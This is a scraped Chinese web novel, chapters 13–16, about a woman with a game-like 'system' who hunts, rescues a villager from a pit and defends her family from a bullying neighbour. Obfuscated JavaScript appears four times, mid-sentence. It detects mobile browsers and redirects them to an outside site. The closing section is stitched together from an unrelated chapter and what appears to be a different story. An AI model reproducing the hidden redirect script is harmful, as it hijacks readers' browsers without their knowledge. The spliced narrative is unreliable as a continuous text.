有了昨晚的[力量点补充],季平安觉得她现在浑身都是力气,连身上带着的背篓都轻若无物。 她没有去林子深处,仍旧是在外围转,不过收获也很好。 太阳高挂在天上,到了中午她就已经猎到了野兔、野鸡、狐狸各一只。 打狐狸的时候,季平安瞄准的是狐狸的腿,活狐狸能卖出来更高的价,她猎完之后,便直接将伤着的狐狸放到了系统储存空间里。 若是前天,到这个她的时候力气也快用完,不得不下山。 不过现在拥有[力量点补充]的她,只感觉到饿,身体力量却还是充沛的。 季平安找了个树荫坐下,拿出从家里带着的野菜饼吃了起来,吃饱后继续在山里寻找新的猎物。 到了下午,她又猎到两只野兔,这时候太阳也西斜,季平安的背篓和存储空间都是满的,她收拾收拾准备下山。 只是下山的路走到一半后,季平安却隐隐约约地听到了呼救的声音。 她犹豫片刻,还是朝着声音的方向走过去,走了一刻钟后声音也越来越近。 但当她再往前走的时候,却听不到了声音。 季平安有些犹豫,再往前便走得深了,若是碰到狼群之类的,实在太过危险。 她只能站在原地,尽量把声音喊高些:“有人吗?” “有人!有人!” “我在前面的坑里,你过来的时候小心些!” 正在深坑里的富贵,已经被困了两个时辰,这段时间里,她呼救几乎没有停过,嗓子已经完全哑掉,还要提心吊胆地会不会引来别的猎物,整个人都憔悴地过分。 听到人声的时候,她甚至都有些怀疑是自己的错觉,但还是不敢放弃任何机会,急忙提醒对方。 “我看到了,你抬头往上看。” 季平安循着声音,才看到距离她不远的地方有块被杂枝落叶遮挡的地方。 拨开后才发现是个两米多、快到三米的深坑,侧壁光滑,掉到里面的人,几乎是不可能靠自己出来的。 这种坑应该是之前的猎户挖的,猎物不注意就可能掉到里面,却没有想到人也会误踩。 季平安在坑口先问道:“你受伤没有?” 若是猎坑,说不定里面还会有捕兽夹。 “掉下来的时候,崴了下脚,没有其他的伤。”富贵见到有人,之前的慌乱担心也少了很多,慢慢镇静下来。 “那就行。”季平安放下了心,“我去旁边找根坚实点的树枝,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339068|167824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你拉出来。” 富贵打量了下她到坑口的距离,问道:“会不会太深了,我怕反倒把你也拉下来。” “不若麻烦你去找下村里的人,我先在坑底待着也行。” 她说完这话,刚才还在坑口的人早已经拿了树枝回来。 季平安自然也知道,若是她的力量不够大,说不定自己也会跌入到深坑里面。 但现在她可是有着系统出品的[力量点补充]啊,今天的她和昨天的她天壤之别,力量完全不用担心。 她把背篓从背上卸下来,然后趴到地上,一只手紧紧地贴着地面,另一只胳膊把树枝递下去:“先试试,你记得抓牢。” 富贵闻言,也不再多言,紧紧地拉住树枝,脚抵着坑壁慢慢地往上爬。 等快到坑口,季平安急忙把另一只手伸出来,双手拉住富贵,把人拉了出来,两个人这才放松地大喘了口气。 富贵这才见到,救她上来的人是季平安。 她擦了擦头上的汗,一阵后怕地说:“多亏了你,要不然还不知道要怎么办呢!” 现在都快到下午了,山上应该也没有其他的人,若是没有季平安,她至少要在山上待上一夜。 哪怕她爹和娘找过来,林子这么大,还都是树,也不知道什么时候才能找的过来。 “没事,人上来就行。” 富贵在村里待得时间少,季平安还是想了想,才从记忆里翻出来眼前的人是谁,她好奇问道:“你怎么会往山里面走,还掉进了猎坑。” “我之前都是在县城里做工,这几年没有来过山里,路也不一样了,走着走着就迷了方向。” 自从上次富贵娘知道,季平安家里吃到野味后,她便一直让富贵也上山。 富贵实在拗不过她娘,便准备来山上转转,采些新鲜野菜回去就行,谁知道会突然掉到了坑里。 说完,她就对着季平安道:“你今晚来我家吃饭,我让娘给你做点好吃的,好好谢谢你。” 富贵虽然没有和季平安说过话,但她经常听到自己娘说对方是混混无赖,让她不要和对方学。 但现在是季平安救了自己,富贵觉得她娘说的话不一定真。 季平安拒绝道:“不用,我只是顺手帮了一把。” 富贵摇头:“那也得来。” 她话少,但不是不懂事的人,该感谢地不能少,要不然她心里过不去。 季平安拗不过,只能道:“我家里还有人等着,得回去和她们一起吃。” 富贵道:“那便你和家里人一起来。” 季平安:“……” 好在富贵崴脚还算轻,歇了会,她们便一起下了山。 谁知,快走到家门口的时候,路对面突然跑过来个人,急急忙忙地和她道:“你家坤泽和人打起来了!” 14. 第 14 章 听到这句话的时候,季平安第一反应是不相信,沈之虞还能和人打起来?! “你没认错?”她确认道。 传话的人着急点头:“就是你家的坤泽,你快和我去看看。” 季平安名声虽然不好,但村里人也没有必要拿这种事情唬她。 “在哪儿,快带我去看看。”季平安急的连背篓都没有放,就跟着人往前面走,她身边的富贵也跟着。 等季平安到了之后,村里人已经有不少人围着了。 一侧站着沈之虞和岁岁,小孩似乎是害怕,紧贴在沈之虞的腿边。 她们的对面有三四个小孩,还站着两个大人,季平安只是看过去就觉得自己家的人势单力薄。 季平安费劲挤进去,便听到了张家男人激烈恼怒的声音:“大家伙儿都看看我们家孩子这胳膊,这可都是她们弄出来的,是不是该赔?” 他说话的时候,还特地把自己孩子的衣袖撩起来,指着胳膊上的红痕让大家看。 他的声音太大,岁岁身子抖了一下,沈之虞摸了摸她的头当安慰,随后才语气平静地道:“你倒不如问问,自己家孩子做了些什么?” 上午捡完柴,她们吃了午饭后,便又继续出来,准备多捡点柴火备用。 岁岁对村里比较熟悉,沈之虞也就跟着她去捡柴的地方,只是中间出来几个小孩,叫岁岁跟他们过去玩。 岁岁小声地和她说是自己的朋友,沈之虞也就放心地让岁岁和人一起走了。 过了会儿,沈之虞想去家里放柴,顺便问岁岁要不要回家喝点水。 她沿着小孩们走的方向找过去,正好看到他们想要将岁岁手上的柴抢过来,还说着各种不入耳的话。 “没爹没娘的孩子,你就是克星,专门来害你爹和你娘的!” “都说了这片的柴只有我们才能捡,你这个克星不能过来捡,要不然也会害了我们!” “你阿姐也是坏人,还偷别人家的东西,所以你也过来偷我们的柴……” “……” 都说小孩天真,但有时小孩的话也最过恶毒,他们每一句都像是针扎在岁岁的身上。 岁岁紧紧地抱着自己怀里的柴,哭着摇头道:“我没有害阿爹和阿娘……阿姐也不是坏人,也没有偷东西……” “这里的柴都能捡……不是你们的……” 岁岁平时说话的声音便小,如今哭起来,声音里都是哽咽,更显得可怜。 其他的小孩们这时候却哈哈大笑,用力抢岁岁手上的柴,还不问说着:“你就是坏人,你和你阿姐一样坏……” 沈之虞听到看到的便是这个场景,她还没有走过去便先从地上捡了颗石子,弹到正在抢东西的小孩胳膊上。 小孩吃痛松开,看到是个大人过来,下意识哭了出来,“爹,娘,打人了,打人了!” “阿九……” 还在哭的岁岁看到是她过来,愣了愣才急忙到她的身边。 沈之虞蹲下身子,看了看人没有受伤后才放下心。 再然后就是现在,小孩哭喊着把爹娘叫出来,不讲理地家长让她赔钱道歉。 张家男人可不是个讲理的,听到沈之虞的话更生气了:“我家孩子年纪这么小,能做些什么?倒是你个大人,还打小孩,要不要脸?” “我告诉你,打了我家孩子你就得赔钱,要不然今天这事没完!” 他说话的时候,唾沫星子乱飞,用手指着沈之虞,甚至还想靠近些威胁人。 沈之虞微微皱眉,想往后退几步,结果便看到自己眼前出现了个熟悉的背影。 好不容易挤进来的季平安,直接把男人的手打掉。 “小孩是不知道道理,但会学家里人说话,大人说的话那可难听多了。” “正好大家都在,你敢让自己的孩子再说一遍,让在场的人都评评理吗?” 季平安听了刚才沈之虞的话,再看看岁岁红肿的眼睛,基本也能猜出来是什么事情。 她如今没有往常吊儿郎当地模样,语气严肃,是个人都能听出来她的生气。 “是啊,我看季家的坤泽也不像不讲理的人,不能无缘无故地打人吧?” “张家孩子,爱说的不就那几句话,不用猜都知道,这不是找打吗?” “你还别说,季家闺女这次说的有理,小孩懂什么,不都是大人说什么信什么……” “……” 旁边的人叽叽喳喳,听到这些话的张家男人脸色铁青,“你自己就是无赖,还好意思让大家评理?” “哦,那就是不敢让自己家小孩再说一遍了?” 季平安没跟着男人的思路走,“所以你也知道这些话不光彩,说不出口吧?” “而且,你也知道我是无赖,那我可是想揍谁就揍谁,可不管大人小孩。” 说最后一句话的时候,她的眼神从对面所有人身上扫过,平端地多了些压迫感。 “你还想打人?” 张家男人本以为自己家占理,谁知道现在村里的人都向着个无赖,现在还被人威胁,也彻底恼怒,挥着胳膊就朝季平安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15339069|167824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲过来。 “阿九,你们往后退一退。” 季平安说完这句话,才接过男人挥过来的拳头,抬手挡住后,手腕一弯,男人便发出杀猪似的尖叫。 她现在的力气可比之前要大多了,哪怕对面是五个人同时上,她也不用担心打不过。 “你快住手,我手要断了!”男人想收回手,却被牢牢地锢在原地,动都动不了。 他怎么不知道季平安的力气这么大! “我们不是要给你们家孩子道歉吗?松开了离得远,我怕你听不见。” 季平安反而把手腕往相反地方向弯了弯,男人整张脸上都疼地皱起来。 张家男人立刻道:“不用道了,不用道了,是我的错,是我们家孩子的错!” 他怎么会不知道自己家孩子是什么样,本来就是看沈之虞和一个孩子弱势,想趁机捞点钱。 谁知道季平安人这么狠,动起手来完全不讲道理。 哪怕男人在费力挣扎,季平安也轻轻松松,没让人逃脱开来:“既然你都承认自己错了,那是不是要道歉?” 张家男人疼的快要背过气去,也顾不上自己的面子,哆嗦着开口:“我错了我错了,我不该说你家孩子,二虎你也快道歉!” 二虎看到自己的爹被打了,也不敢再说些什么,只能走到岁岁的面前,嗫嚅着声音道:“对……对不起,我错了……” 其他的几个孩子和他们的家长,看到张家男人的模样,生怕季平安下个人就打到他们身上,也急急忙忙道了歉:“我错了我错了……” 声音乱做一团,岁岁又忍不住红了眼睛,这次却不是委屈和害怕。 季平安看向自家孩子,问道:“岁岁,你听到他们道歉了吗?” “听到了。”岁岁小声道。 “那就行,下次再有人欺负你,阿姐再帮你教训他们。” 说完,季平安的视线扫了眼孩子们,见到他们纷纷往后退,露出害怕的神情后,才把张家男人的手放开。 到底是孩子,她也不至于真的打,但也不会任人欺负,得让这些孩子们知道害怕。 事情解决完,看热闹的人也纷纷离开,但话里话外都是说,今天季平安打人她们看得解气,那可是为了保护自己家的坤泽和妹妹! 富贵娘也在看热闹的人里面,打算回家做晚饭,结果随便瞥了眼,就看到了有人在和季平安说话。 这村里,难道季平安还能有朋友? 富贵娘正想多瞧上两眼,结果就看到说话的人不正是自家闺女! 15. 第 15 章 富贵也见到了刚才的事情,知道今天晚上季平安去不了她家吃饭了。 “你今天好好陪陪自家坤泽和妹妹,明天中午再来我家吃饭。” 季平安点头,把这件事答应下来,她也确实有要富贵家里帮忙的地方。 回到家之后,季平安先烧了些热水,让岁岁和沈之虞先喝些缓缓神,再用余下的水擦擦脸。 喝完之后,她拿了块布巾,蹲下身子亲自帮岁岁擦脸:“哭的眼睛疼不疼?” “不疼。”岁岁下意识道。 “真的不疼?”季平安沉了沉声音,她没有了平时的温柔,道:“你如果骗阿姐的话,阿姐可是会生气的。” 沈之虞将脸上抹的泥擦掉,听到她说的这话,下意识皱眉。 岁岁今天都已经被欺负了,季平安怎么回到家来还要这么凶? 她想开口阻止,自己带着岁岁先待一会。 谁料季平安像是知道她在想什么,侧过头轻轻碰了碰她的胳膊,又朝她比了个口型。 沈之虞看完,没有猜错的话,对方应该说的是“我有分寸”。 她犹豫片刻,将想说的话重新咽下去。 岁岁刚缓过来的情绪,转眼间也开始害怕。 季平安刚才不仅打了坏人,还让讨厌的人给她道歉,岁岁现在对她的依赖也深了不少。 因此听到季平安说骗人会生气,岁岁立刻慌了神。 她下意识攥紧季平安的衣袖,眼眶迅速泛上一圈红:“有一点点疼,我……我没有想骗阿姐的。” 季平安没有立刻原谅她,又问道:“你刚才是不是也骗了阿九?” 若是沈之虞在孩子的旁边,不至于让人受到欺负。 “……” 岁岁沉默许久,没有声音,但是眼泪哗哗地往下掉,温热的泪珠一滴一滴地落到季平安的手背上。 不知道哭了多久,岁岁才转过身,带着哭腔地对沈之虞道:“阿九……阿九,对不起……我不该骗你的。” “……他们不是我的朋友……” 沈之虞也蹲在季平安的旁边,帮岁岁擦了擦眼泪,“没关系,不过之后不要骗我和你阿姐了。” 季平安看了眼沈之虞一眼后,也顺着她的话道:“下次被人欺负了,知道怎么做了吧?” 岁岁眼睛红得像兔子,小声试探着回答道:“找阿姐……和阿九。” 季平安这才笑了笑,“对,阿姐不会再让人欺负你了。” 解决完小孩的事情,她才去了自己的屋子里,把抽到的萝卜、南瓜和菘菜放到背篓里面,又从系统空间里把野生鲫鱼取出来。 鱼拿到手上的时候,甚至还活蹦乱跳,水珠都溅到了季平安的脸上,像是要证明系统存储空间的能力一般。 活鱼处理起来难,季平安身边没有趁手的工具,只能再次找到芸娘,让人帮忙切了南瓜,又刮了鱼鳞、取了内脏,最后又强硬地让芸娘切了一半鱼留下。 收拾好之后她才回家,把所有东西拿到灶房里。 沈之虞正坐在灶边生着火,见到她拿着这么多东西,也只是看了一眼便收回视线。 两块打火石互相碰一下,用火星点燃灶里放着的枯树叶,火就能烧起来,沈之虞这几天做的很熟。 “今天去了山上打猎,又从河里摸了条鱼,晚上做鱼汤喝。” 沈之虞嗯了声,和她把今天下午的事情说了说,包括他们是怎么说岁岁的。 季平安非常自然地坐在沈之虞的旁边,道:“和我猜的差不多,不过之后他们也不敢欺负岁岁了。” 沈之虞想到当时的场景,顿了片刻后,接着刚才的话说道:“岁岁也没有任人欺负,她反驳了几人。” 季平安确实没有想过这件事,她好奇问道:“岁岁怎么反驳的?” “她没有害阿娘,自己也没有偷柴……还说你不坏,是好的阿姐。” 说到后面几个字的时候,她的声音明显有些凝滞,仿佛这几个字卡喉咙一样,但她也不至于隐藏事实。 “这段时间没白疼人,下次去县城里给她买糖”,季平安笑了下,心里十分满足。 若是之前一直被打的岁岁,肯定也没有勇气和那几个孩子说不。 现在不仅说了,还强调了她是“好的阿姐”,季平安觉得她心里都泛着甜! 说完,她又看向沈之虞,“我说了会慢慢改的,绝对不会骗你。” “今天也多亏有你,要不然岁岁还得被欺负。” 沈之虞还是如往常般,忽略她的前一句话:“我自然会帮岁岁的。” 季平安笑了下:“那当然,岁岁也算是你的妹妹了。” “水开了”,沈之虞看着灶里的火苗,又道:“别乱套近乎。” 她确实把岁岁当做了自己的妹妹,但是从季平安的嘴里说出来,总觉得多了几分调侃和其他的意味。 季平安故意装傻:“我刚才说什么了?” “需要我再和你说一遍?” “不用不用,我去盛点面。” 季平安非常懂得玩笑的限度,说完就出去盛面,谁料还没到门口,就听到了熟悉的系统声音。 【目标人物好感度+1】 【目标任务好感度+1】 【目标任务好感度-1】 …… 等她已经盛完面,把鱼汤炖好在锅里,已经开始擀面条的时候,脑海里的机械声还在继续。 她分了些神看向沈之虞,对方现在正掰着手中的菘菜叶子,和往常没有什么不一样。 沈之虞敏锐地察觉到乾元的目光,她看过去,季平安却又收回目光。 对方正看着陶罐里面炖的鱼汤,时不时搅拌下,鱼的鲜香味道慢慢蔓延出来。 她没有忘记,乾元当时想强行标记她时候的样子。 乾元浑身的酒味,看到床上的她,像是猎人看到了猎物,贪婪、急切、欲望…… 那双眼睛太过于浑浊,脏的至今让人记忆尤深。 但现在的乾元却不相同,眼神清澈,听到岁岁被人欺负后,眼神里全都是生气的怒火。 强势维护她和岁岁的时候,和曾经那个打人的季平安,完全看不出来相似之处。 一个人真的会在短时间发生这么大的变化吗? 沈之虞只感觉自己的脑袋一阵头疼,脑海里面闪过些片段。 “没有人……能一直相信……” “不能……她不会的……” 声音断断续续,却持续地在她的脑海里回荡,带着痛苦,将她刚才所有的思绪全部绞乱。 沈之虞用力地捂着自己的头,总感觉自己遗忘了许多东西,但却怎么也想不出来。 像是人走到绝境般,哪怕用头、用身体撞击前面坚硬的岩石,也迫切地想开出一条路,否则后面跟着的野兽便会将她一口吞噬掉。 她的表情痛苦,整个人蜷缩成一团,却不断地用手捶打自己的头,每下都用力到了极致。 季平安听到声音,急忙扔下了手里的筷子。 她先用一只胳膊搂住人,另一只手直接握住沈之虞捶打脑袋的两只手,束在头顶,随后将蜷缩的人整个搂在了自己的怀中。 “阿九,现在别想任何其他的东西,跟我深呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15339070|167824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “吸气……呼气……” “阿九,别激动,对,就是这样,慢慢放松下来。” 季平安虽然着急,但语气却沉稳,用搂人的那只手有韵律地轻轻拍着对方的脊背。 等到陶罐里的鱼汤开始咕嘟咕嘟地响,沈之虞急促地呼吸才慢慢平静下来。 季平安侧过头看对方的状态:“现在好点了吗?” 沈之虞的脸上全是冷汗,浸湿了额边的发丝,原本被养出几分血色的脸此刻又显出苍白。 她像是刚刚回过神,顿了下才意识到,自己现在正在季平安的怀里,对方身上的温度隔着衣服还能感觉到。 沈之虞的嗓子哑地不像话,却还是道:“放开我。” 季平安见人真的没事,才发现她还束着对方纤细的手腕,连忙放开,“你刚才的状态太过危险,我只能先把你抱住。” 沈之虞的手抵在自己的额头上,轻轻地皱了皱眉头,似是自言自语地道:“不记得了。” 她只记得自己脑海里似乎闪过些记忆碎片,但偏偏只有些只言片语,除此之外便是大片大片的红色和黑色,似乎要将她完全淹没。 “现在记不起来,就不要再想了,要不然头又要疼了。” 季平安主动帮她转移注意力道:“我炖的鱼汤快好了,你去屋子里把岁岁叫醒,我们准备吃晚饭。” 岁岁哭完,季平安便让人先去屋子里休息,可能是太累,过了会儿小孩就躺在床上睡着了。 沈之虞也知道自己刚才的状态有多么差,几乎不能够控制自己,像是陷入极深的梦魇,而且似乎是刻意不让她记起来。 她只能将这件事情暂时放到脑后,应声道:“好。” 鱼汤已经彻底沸开,鱼肉也被炖地软烂,季平安小心地把鱼肉盛出来,然后把刚才擀好的面条下进去。 没有刀,面条是她用筷子压出来的,因此也圆圆滚滚,沸在奶白色的鱼汤中,更填几分鲜美。 岁岁睡得眼睛都没有睁开,进到灶房里便道:“阿姐,好香。” “今晚我们吃鱼”,季平安看面条煮的也差不多了,道:“你和阿九拿个碗筷,现在就能吃了。” 鱼汤鲜美,鱼肉滑嫩,面条也足够劲道,每吃一口都是新滋味,都让人欲罢不能。 岁岁手里攥着筷子,纠结地都不知道下一口先吃什么。 季平安看得好笑,“先吃鱼肉,小心点鱼刺。” 说完,她才看向一小口一小口往嘴里抿的沈之虞,看着就是食欲不佳。 她问道:“你的头还疼?” 季平安想到刚才的情况,应该和沈之虞的失忆有关。 但是治疗失忆,从古到今都是一个难题,哪怕是她也不知道该怎么办。 只能让对方吃好穿好,把身体养好,再过几天带人到镇上看看郎中。 “阿九,你还好吗?”岁岁也关心道。 沈之虞拿着筷子的手顿了下,才道:“不疼了。” 季平安这才放下了心:“那就行,鱼肉和煮的面都还有,你多吃点。” 沈之虞看了她一眼,便又收回视线。 她只是在想一件事情。 如果没有确认错,刚才乾元抱着她的时候,她似乎闻到了乾元身上的信香的味道。 阳光的味道。 沈之虞试图回忆那天晚上,乾元想要强制标记她时候的信香是什么味道。 但她反而想不起来,全都是对方那双浑浊的眼睛,而她屏住呼吸,想要将对方千刀万剐。 细想下来,竟然只有刚才那缕,若有似无的太阳的味道。 16. 第 16 章 吃完晚饭,季平安也回到了自己的房间。 断断续续的系统机械声,在沈之虞头疼发作的时候就已经停了。 她打开面板,看了看现在的好感度情况。 【沈之虞当前生命值:40(满值100)】 【沈之虞当前好感度:-38(满值100)】 【当前可抽卡次数:7】 这几天,沈之虞的生命值还在断断续续的涨,不过远没有到正常的健康水平。 一直+1,-1的好感值却比昨天升高了不少,从-45降到了-38,她也得到了7次抽卡机会。 哪怕沈之虞表面上没有表现出来,但她今日维护岁岁的做法,沈之虞也是认同的。 季平安看着系统面板上的抽卡机会,有些心痒,但还是决定把这几次抽卡机会攒起来。 她昨天刚抽了十几次,其中还是凡类物品居多。 比如南瓜、萝卜之类的,如果不放到系统存储空间中,就会直接在现实掉落,得及时吃掉。 还是等这几天过了,余下的菜都吃完了再抽也不迟。 关掉抽卡系统后,季平安闭上眼睛准备睡觉。 片刻后,她又睁开眼睛,脑子里全都是刚才沈之虞脸色难受又苍白,靠在她怀里的模样。 季平安深吸口气,莫名感觉到了几分心疼。 也是,毕竟在另一个世界的时候,她只是透过文字,就忍不住心疼对方,想让作者好好地对待沈之虞。 更不用说现在,她是真实地和对方生活在一起。 * 早上她们吃的简单,用南瓜和米一起煮了点南瓜粥,岁岁还从罐子里给每人拿了一块猪油渣。 南瓜在村里是很常见的东西,撒个种子在院子的墙角,偶尔浇点水,能从春天吃到秋天。 秋天的最后一茬南瓜如果摘得晚,让南瓜完全熟透,放一整个冬天都不会坏。 南瓜软糯香甜,连带着粥都有了甜味。 岁岁把碗里的粥喝光,“阿姐,我觉得今天的南瓜,比之前吃过的南瓜都要好吃。” 季平安笑了下,“是吗?” 如果她没有记错,在系统的物品描述里,萝卜、南瓜、菘菜都提到过是用灵泉灌溉的,想来也可能和这个有关。 “嗯嗯!”岁岁点头,经过了昨天的事,她似乎也更开朗了些。 声音虽然没有村里整日乱跑的孩子活泼洪亮,但比起之前却好多了。 快吃完饭,季平安才想起来一件事,她转头看向沈之虞,问道:“你的腿怎么样了?现在的伤好了吗?” 沈之虞垂眸看向自己的腿,道:“差不多,已经不疼了。” 腿没有伤到筋骨,再加上她睡前都会抹药,好的也快了许多。 目前除了被打过的痕迹还在之外,腿倒是不疼了。 季平安放下心,“那再歇上几日,我就带你和岁岁到县城去看看,就是要走不少路。” “没关系。” 沈之虞倒是没有觉得走路要去县城里麻烦,她也想看看县城是什么样。 正吃着粥的岁岁,听到这话抬起小脑袋,“我也要去吗?” 季平安笑了下:“给你们买衣服,你要是不去的话,阿姐可不知道怎么买。” 成衣和布匹的价格差很多,其实寻常的人家,都是去店铺里扯些布回来,自己在家把衣服缝出来,能省不少钱。 但是季平安只会简单的针线活,补个衣服上的洞还可以,但徒手缝出来一件衣服,还是太为难她了。 至于岁岁和沈之虞,更不能指望,所以季平安最开始想的就是带两个人去买成衣。 岁岁听到这话眨了下眼睛,似乎已经开始期待了。 村里有小姑娘穿了新衣服,其他小孩能羡慕好久,岁岁虽然性格内敛,但也是喜欢新衣服的。 季平安上午又去了趟山上,这次运气不好,没碰到野兔野鸡之类的。 不过她也没空手下山,带着两只山斑鸠和一只竹鼠。 山斑鸠和竹鼠在是常年长在山林里,拎在手上就能感觉出来肥,肉肯定不少,味道也更鲜。 没有到中午,她便从山上下来了,准备吃完午饭就再往县城里走一趟。 昨日猎的三只野兔、一只野鸡、一只狐狸都还没有往县城里送,好在没有到夏天,在屋外放一晚上也没有什么关系,不会不新鲜。 季平安带着猎物刚走到家门口,就看到岁岁迎上来,“阿姐,我和阿九上午去河边了。” “找到什么了没有?” 季平安跟着她一起往院子里走,也看到了院子里的沈之虞,正微微阖着眼睛晒太阳。 浅金色的阳光落在她的眼睫上,投下一片阴影,将她的眉眼拓落地更加分明。 听到乾元的声音,她只是轻轻地抬了下眼皮,随后又闭上了眼睛。 季平安观察地仔细,忍不住弯了下唇角,觉得眼前的沈之虞越发像猫了。 无事的时候,最爱找个暖和的地方蜷着,暖融融地阳光让整个猫都显得慵懒。 这时候哪怕她在旁边发出再大的动静,猫最多也只会给她一个眼神。 岁岁将早上的事情告诉她:“河边有不少人洗衣服,我们就去了人少的地方,然后阿九看到了野鸭子蛋。” 说到野鸭子蛋的时候,岁岁的声音都明显开心了几分。 季平安将身上的背篓放下来:“捡到了几个?” “四个,还特别大。”岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15339071|167824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁比着手指头和她道。 季平安微微挑眉,摸了摸她的头道:“你和阿九真厉害。” 岁岁被夸之后,就显得有些害羞,“其实是阿九先发现的。” “那我们问问阿九,这个野鸭蛋怎么吃?是做菘菜炒鸭蛋,还是做成蛋花汤?” 两人说话就在沈之虞的旁边,她也不能当听不到。 不得已不得已睁开眼,便对上两双眼睛,全都在等着她回答。 她撇了眼罪魁祸首,才道:“随便。” “那就做菘菜炒鸭蛋。” 说话的时候,季平安正把背篓里的猎物拿出来,岁岁看的目不转睛。 “不害怕吗?”季平安问道。 她有着[猎物瞄准镜],猎物基本都是一击毙命,像斑鸠打的还是翅膀,现在还是活的,但总会不可避免地带点血。 “不害怕。” 说话的时候,岁岁还用手指点了点斑鸠的头,带着毛茸茸地温热触感,“好吃。” 斑鸠反手啄了下岁岁的手指。 季平安笑了下,也知道是自己多想了,村里的人都吃肉少,哪有什么害怕不害怕,看到带血的猎物反而开心。 “改天给你和阿九炖个野鸡汤喝。” 她自己就有打猎的本事,想吃肉不难,不过今天去县城她还想多买点东西,因此也没有准备在家里留野物。 沈之虞的视线先是落在她打的猎物上,后又看到旁边放着的弓,看了片刻后才收回视线。 将猎物收拾后,季平安便简单说了昨日的事情,“我们今天去其他人家吃午饭。” 沈之虞这时开了口:“你和岁岁去吧,我在家里就行。” 她性子冷,不喜欢和陌生人多接触,更不用说还要和他们一起吃饭了。 季平安能理解她的想法,却觉得让沈之虞多认识些人不是坏事。 她总归会有不在家的时候,这时候也能相互多个照应。 就像昨日张家男人的事,若是有个巧言巧语、说话犀利的富贵娘帮着,沈之虞和岁岁也不会受委屈。 季平安:“富贵娘应该会做不少好吃的,你要是不去的话,午饭怎么办,自己做?” 她可是见识过沈之虞的厨艺的,饿了事小,吃出毛病事大。 说完还轻轻地碰了下岁岁的胳膊,让小孩帮腔:“我们肯定不能把阿九一个人留家里,岁岁说是不是?” 岁岁点头,也眼巴巴地看着沈之虞。 沈之虞不好拒绝小孩,只能移开视线。 结果转头便看到,季平安也正看着她,眼睛里还带着笑,旁边的斑鸠“啾啾啾”地叫。 沈之虞:“……” 感觉晒在她身上的太阳都有些烦了。 40-50 第 41 章 第 41 章 京城。 阳王府。 五皇子,也就是阳王沈弘星刚下朝回到府里,便急急忙忙地把幕僚李帆叫进了书房。 李帆身形瘦削,脊背挺直,年龄在三十到四十岁之间。 沈弘星的语气里能听出来几分着急:“本王刚听到有人来报,说七妹还活着,李卿可知道这件事?” 李帆微微躬身:“属下也是刚刚得知。” 她们之间相隔无数人群,但季平安只看见了那双眼。 与眼尾那被脂粉盖得几乎看不见的小痣。 季平安陡然有些仓惶,却不知自己在仓皇个什么劲儿。许是风雪与对峙勾勒出了一些说不清道不明的氛围感,能让人想起不久前的那个雪夜;又许是才下定决心要对长公主以寻常心看待,却在对视上时发现自己并不能做到完全坦然 以致她蓦地挪开了视线,而后顿觉这一举动实在太过刻意—— 分明是长公主先看的她。 季平安于是又把目光怼了回去,继而虚张声势地冲长公主抱了抱拳。 长公主淡然颔首。 往灶里塞柴火的谢瑾亦注意到了那头飘来的淡漠视线,摸了一把额头上莫须有的灰,也冲长公主行了一礼。 长公主顿了一下,也点了点头。 继而行礼之举在周遭官员里水波纹似的一环接一环地蔓延开来。 长公主: 季平安看着长公主僵着脸被迫颔首的样子,心情登时好了许多。 谢瑾往灶里塞了最后一根柴,拍拍大腿站起来。她接过侍子递来的帕子擦了两下手,而后一把攥住了季平安的肩:“去前头看看可好?顺便问问长公主刺客那事是否有进展。” 季平安点头应允。肃亲王是皇上的妹妹,与皇上非一母所出。她善言谈,人缘好,王妃生辰宴,往来宾客众多,门庭若市。 季平安是被谢瑾硬拉去的。 她同肃亲王不熟,同肃亲王妃更不熟。季寒潭只恐皇上多心,从不结交皇室宗亲,并未劝她参加肃亲王妃的生辰宴。 季平安已然拒绝谢瑾“陪她演戏”的请求,计划好在家同何娘做上一整日的手工了,却不想谢瑾再度风风火火闯了进来,开口便是: “你若不答应我,我便上吊。” 季平安好整以暇地看着她,须臾,贴心地递上了一卷儿麻绳。 谢瑾: 